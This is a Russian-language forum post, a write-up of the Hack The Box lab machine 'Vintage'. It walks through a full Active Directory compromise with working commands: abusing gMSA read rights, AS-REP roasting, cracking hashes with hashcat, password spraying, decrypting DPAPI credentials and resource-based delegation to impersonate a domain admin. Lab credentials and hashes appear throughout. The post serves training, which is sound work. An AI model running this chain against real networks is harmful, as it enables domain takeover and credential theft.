• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Ломаем лабораторию Active Directory

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу процесс эксплуатации цепочки уязвимостей в Active Directory. Небезопасные списки доступа дадут нам сессию на хосте, а учетную запись администратора мы сможем заполучить, обнаружив сохраненные учетные данные и группу с делегированием.
Наша цель — получение прав суперпользователя на машине Vintage с учебной площадки Hack The Box. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.45 vintage.htb
Помимо IP-адреса, нам на этот раз дают учетные данные с правами пользователя домена.

Информация о машине
Информация о машине
Запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел 12 открытых портов:

  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.

Точка входа​

Проверим выданные учетные данные с помощью Для просмотра ссылки Войди или Зарегистрируйся.

nxc ldap 10.10.11.45 -u P.Rosa -p Rosaisbest123!
Проверка учетных данных
Проверка учетных данных
Ответ STATUS_NOT_SUPPORTED говорит о том, что протокол аутентификации NTLM не поддерживается. Попробуем использовать аутентификацию Kerberos, но сперва обновим запись в файле /etc/hosts.

10.10.11.45 vintage.htb dc01.vintage.htb
Затем необходимо синхронизировать время с сервером.

sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.45
Когда все готово, запросим TGT-билет Kerberos для юзера P.Rosa.

getTGT.py vintage.htb/P.Rosa:Rosaisbest123
Получение тикета
Получение тикета
Билет получен, теперь используем его для подключения к службе LDAP с помощью NetExec.

KRB5CCNAME=P.Rosa.ccache nxc ldap dc01.vintage.htb -u P.Rosa -p 'Rosaisbest123!' -k --use-kcache
Проверка билета
Проверка билета
Все работает, доступ есть, а значит, получим список пользователей с полем description, ведь иногда там можно найти разную интересную информацию.

KRB5CCNAME=P.Rosa.ccache nxc ldap dc01.vintage.htb -u P.Rosa -p 'Rosaisbest123!' -k --use-kcache --users
Список пользователей домена
Список пользователей домена
Ничего нового не нашли, поэтому соберем базу BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# — и для Linux — на Python.
Собрать базу можно с помощью Для просмотра ссылки Войди или Зарегистрируйся, однако для этого требуется DNS-сервер. DNS из лаборатории нам недоступен, так что поднимаем свой — со всеми необходимыми записями.

Код:
[A]
*.vintage.htb=10.10.11.45
[SRV]
_ldap._tcp.pdc._msdcs.vintage.htb=0 5 389 vintage.htb
_ldap._tcp.gc._msdcs.vintage.htb=0 5 389 vintage.htb
_kerberos._tcp.dc._msdcs.vintage.htb=0 5 88 vintage.htb

В качестве сервера DNS используем Для просмотра ссылки Войди или Зарегистрируйся. Передаем ему файл с записями для домена.

python3 dnschef.py --file ./vintage_dns.txt
Запуск DNSChef
Запуск DNSChef
Когда сервер DNS запущен, указываем его в параметрах скрипта BloodHound.

python3 bloodhound.py -u P.Rosa -p 'Rosaisbest123' -d vintage.htb -k -c All -dc dc01.vintage.htb -ns 127.0.0.1
Сбор данных BloodHound
Сбор данных BloodHound
Загружаем собранную базу в сам BloodHound и анализируем данные. Отметим, что в группе Pre-Windows 2000 Compatible Access состоит машинная учетная запись FS01$.

Граф BloodHound
Граф BloodHound
Попробуем запросить билет с дефолтным паролем.

getTGT.py 'vintage.htb/FS01$:fs01'
Получение тикета
Получение тикета
Пароль валидный, а значит, мы скомпрометировали еще одну учетную запись.


Продвижение​

Построим граф от только что полученной машинной учетной записи.

Граф BloodHound
Граф BloodHound
Учетная запись FS01$ состоит в группе Domain Computers, которая имеет право ReadGMSAPassword для учетной записи GMSA01$.

Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем таких учетных записей полностью управляет Active Directory.

Для них автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.

Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля. Сделаем это с помощью Для просмотра ссылки Войди или Зарегистрируйся.

bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'FS01$' -p 'fs01' -k get object 'GMSA01$' --attr msDS-ManagedPassword
Получение хеша учетной записи GMSA01<span class=katex><span class=katex-mathml><math xmlns=http://www.w3.org/1998/Math/MathML><semantics><mrow><msup><mrow></mrow><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mi>t</mi><mi>i</mi><mi>t</mi><mi>l</mi><mi>e</mi><msup><mo>=</mo><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mtext>Получениехешаучетнойзаписи</mtext><mi>G</mi><mi>M</mi><mi>S</mi><mi>A</mi><mn>01</mn></mrow><annotation encoding=application/x-tex>' title='Получение хеша учетной записи GMSA01</annotation></semantics></math></span><span class=katex-html aria-hidden=true><span class=base><span class=strut style=height:0.7519em;></span><span class=mord><span></span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mord mathnormal>t</span><span class=mord mathnormal>i</span><span class=mord mathnormal style=margin-right:0.01968em;>tl</span><span class=mord mathnormal>e</span><span class=mspace style=margin-right:0.2778em;></span><span class=mrel><span class=mrel>=</span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mspace style=margin-right:0.2778em;></span></span><span class=base><span class=strut style=height:0.8778em;vertical-align:-0.1944em;></span><span class=mord cyrillic_fallback>Получениехешаучетнойзаписи</span><span class=mord mathnormal style=margin-right:0.05764em;>GMS</span><span class=mord mathnormal>A</span><span class=mord>01</span></span></span></span>
Получение хеша учетной записи GMSA01$
Учетная запись GMSA01$, в свою очередь, имеет право AddSelf для группы ServiceManagers. Такое право позволяет добавить себя в целевую группу. Запросим тикет, а затем назначим членство в группе.

getTGT.py 'vintage.htb/GMSA01$' -hashes :7dc430b95e17ed6f817f69366f35be06
Получение тикета
Получение тикета

KRB5CCNAME=GMSA01$.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gMSA01$' -k add groupMember 'SERVICEMANAGERS' 'P.Rosa'
Добавление пользователя в группу
Добавление пользователя в группу
Группа ServiceManagers имеет право GenericAll на учетные записи SVC_LDAP, SVC_SQL и SVC_ARK. Это право дает возможность установить пользователю любой пароль, но нам лучше узнать существующий.

Установим для учетных записей флаг DONT_REQ_PREAUTH, который означает, что для учетной записи не требуется предварительная проверка подлинности Kerberos. Затем проведем атаку AS-REP Roasting для получения хешей пользователей и их дальнейшего перебора.

info​

Подробнее об атаке AS-REP Roasting читай в статье «Для просмотра ссылки Войди или Зарегистрируйся».
Активировать флаг DONT_REQ_PREAUTH можно с помощью все того же bloodyAD.

Код:
bloodyAD --host dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH

Активация флага DONT_REQ_PREAUTH
Активация флага DONT_REQ_PREAUTH
А получить хеши — с помощью скрипта GetNPUsers из набора impacket.

GetNPUsers.py -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile users.txt -no-pass
Получение хешей
Получение хешей
Хеш учетной записи SVC_SQL сервер нам не дал, так как учетка отключена. Воспользуемся bloodyAD, чтобы включить ее.

bloodyAD --host dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k remove uac SVC_SQL -f ACCOUNTDISABLE
Для просмотра ссылки Войди или Зарегистрируйся
Повторно выполним AS-REP Roasting и получим три хеша.

Получение хешей
Получение хешей
Для брута хешей вида krb5asrep$23 в Hashcat используем режим 18200. В итоге мне удалось сбрутить пароль той самой учетки svc_sql.

hashcat -m 18200 hashes.txt rockyou.txt
Результат перебора хешей
Результат перебора хешей

Эта учетка нам пока ничего не дает, а вот ее пароль можно поспреить по всем остальным учетным записям. Обычно пароли служебных учетных записей могут повторяться. Для быстрого перебора пароля в службе Kerberos можно использовать Для просмотра ссылки Войди или Зарегистрируйся.

kerbrute_linux_amd64 --dc vintage.htb -d vintage.htb passwordspray ./users.txt Zer0the0ne
Результат спрея пароля
Результат спрея пароля

Таким способом мы получаем еще одну учетную запись C.NERI и строим новый граф BloodHound. Пользователь состоит в группе REMOTE MANAGEMENT USERS, а значит, можно получить сессию на хосте через службу WinRM.

Граф BloodHound
Граф BloodHound
Чтобы использовать Kerberos-аутентификацию в Evil-WinRM, нужно подготовить файл /etc/krb5.conf.

[libdefaults]
default_realm = VINTAGE.HTB
[realms]
VINTAGE.HTB = {
kdc = DC01.VINTAGE.HTB
}
Затем получим TGT-билет пользователя c.neri.

getTGT.py vintage.htb/c.neri:Zer0the0ne
Для просмотра ссылки Войди или Зарегистрируйся
А теперь используем полученный билет для авторизации в WinRM.

KRB5CCNAME=c.neri.ccache evil-winrm -i dc01.vintage.htb -u c.neri -r vintage.htb
Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​


Пользователь C.NERI_ADM​

Изучаем окружение пользователя и находим сохраненный блоб данных DPAPI. Обычно так выглядят сохраненные учетные данные для RDP.

C:\Users\C.Neri\Appdata\roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6
Для просмотра ссылки Войди или Зарегистрируйся
Скачиваем файл на свой хост и проверяем зашифрованные мастер‑ключи вот в таком каталоге:

C:\Users\C.Neri\Appdata\roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Для просмотра ссылки Войди или Зарегистрируйся
Скачиваем мастер‑ключи DPAPI 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 и 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b на свой хост и расшифровываем с помощью Для просмотра ссылки Войди или Зарегистрируйся.

dpapi.py masterkey -file 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Для просмотра ссылки Войди или Зарегистрируйся
Теперь с полученными мастер‑ключами пробуем расшифровать блоб.

dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f
dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Для просмотра ссылки Войди или Зарегистрируйся
Файл расшифрован, и мы получаем учетные данные пользователя c.neri_adm.


Пользователь L.BIANCHI_ADM​

Граф BloodHound показывает, что пользователь C.NERI_ADM состоит в группе DELEGATEADMINS.

Для просмотра ссылки Войди или Зарегистрируйся
В этой же группе состоит и пользователь L.BIANCHI_ADM, который помечен утилитой как привилегированный объект.

Для просмотра ссылки Войди или Зарегистрируйся
Если перестроить граф от пользователя L.BIANCHI_ADM, можно увидеть, что он является администратором домена.

Для просмотра ссылки Войди или Зарегистрируйся
Судя по названию, эта группа должна быть как‑то связана с делегированием, хотя ни BloodHound, ни impacket-findDelegation ничего не показали. Но если мы запросим все атрибуты LDAP учетной записи контроллера домена, то увидим в поле msDs-AllowedToActOnBehalfOfOtherIdentity SID группы DELEGATEADMINS.

bloodyAD --host dc01.vintage.htb -d vintage.htb -u c.neri_adm -p Uncr4ck4bl3P4ssW0rd0312 -k get object 'DC01$'
Для просмотра ссылки Войди или Зарегистрируйся
Нам потребуется подконтрольная учетная запись. Так как пользователь C.NERI_ADM имеет право GenericWrite на группу DELEGATEADMINS, он может добавлять в нее другие объекты домена, например учетную запись svc_sql.

bloodyAD --host dc01.vintage.htb -d vintage.htb -u c.neri_adm -p Uncr4ck4bl3P4ssW0rd0312 -k add groupMember "DELEGATEDADMINS" "svc_sql"
Для просмотра ссылки Войди или Зарегистрируйся
При этом пользователь P.ROSA может установить для этой учетной записи произвольный SPN.

bloodyAD --host dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k set object "svc_sql" servicePrincipalName -v "cifs/fake"
Для просмотра ссылки Войди или Зарегистрируйся
Теперь от имени svc_sql запрашиваем тикет для службы CIFS на DC01, при этом олицетворяем администратора домена L.BIANCHI_ADM.

getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
Для просмотра ссылки Войди или Зарегистрируйся
С полученным билетом TGS авторизуемся в службе WMI от имени пользователя L.BIANCHI_ADM.

KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache wmiexec.py -k -no-pass vintage.htb/L.BIANCHI_ADM@dc01.vintage.htb
Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
Код:
 
Activity
So far there's no one here
Сверху Снизу